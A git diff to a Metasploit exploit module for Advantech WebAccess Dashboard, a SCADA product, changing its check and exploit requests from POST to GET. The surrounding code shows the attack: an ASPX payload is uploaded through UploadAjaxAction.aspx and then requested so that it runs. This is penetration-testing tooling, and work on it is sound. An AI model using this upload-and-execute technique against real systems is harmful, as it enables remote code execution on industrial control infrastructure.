diff --git a/modules/exploits/windows/scada/advantech_webaccess_dashboard_file_upload.rb b/modules/exploits/windows/scada/advantech_webaccess_dashboard_file_upload.rb index 34eef26918..66ea6d2b14 100644 --- a/modules/exploits/windows/scada/advantech_webaccess_dashboard_file_upload.rb +++ b/modules/exploits/windows/scada/advantech_webaccess_dashboard_file_upload.rb @@ -56,8 +56,8 @@ class MetasploitModule < Msf::Exploit::Remote def check res = send_request_cgi({ - 'method' => 'POST', - 'uri' => normalize_uri('WADashboard','ajax','UploadAjaxAction.aspx?AspxAutoDetectCookieSupport=1'), + 'method' => 'GET', + 'uri' => normalize_uri('WADashboard','ajax','UploadAjaxAction.aspx'), 'cookie' => 'AspxAutoDetectCookieSupport=1' }) @@ -74,8 +74,8 @@ class MetasploitModule < Msf::Exploit::Remote def exploit res = send_request_cgi({ - 'method' => 'POST', - 'uri' => normalize_uri('WADashboard','ajax','UploadAjaxAction.aspx?AspxAutoDetectCookieSupport=1'), + 'method' => 'GET', + 'uri' => normalize_uri('WADashboard','ajax','UploadAjaxAction.aspx'), 'cookie' => 'AspxAutoDetectCookieSupport=1' }) unless res && res.code == 200 @@ -90,7 +90,6 @@ class MetasploitModule < Msf::Exploit::Remote data.add_part('uploadFile', nil, nil, 'form-data; name="actionName"') data.add_part(aspx, nil, nil, "form-data; name=\"file\"; filename=\"#{file_name}\"") - res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri('WADashboard','ajax','UploadAjaxAction.aspx'), @@ -105,6 +104,7 @@ class MetasploitModule < Msf::Exploit::Remote fail_with(Failure::UnexpectedReply, "#{peer} - Payload uploaded failed") end print_status("#{peer} - Executing payload...") + res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri('WADashboard',file_name),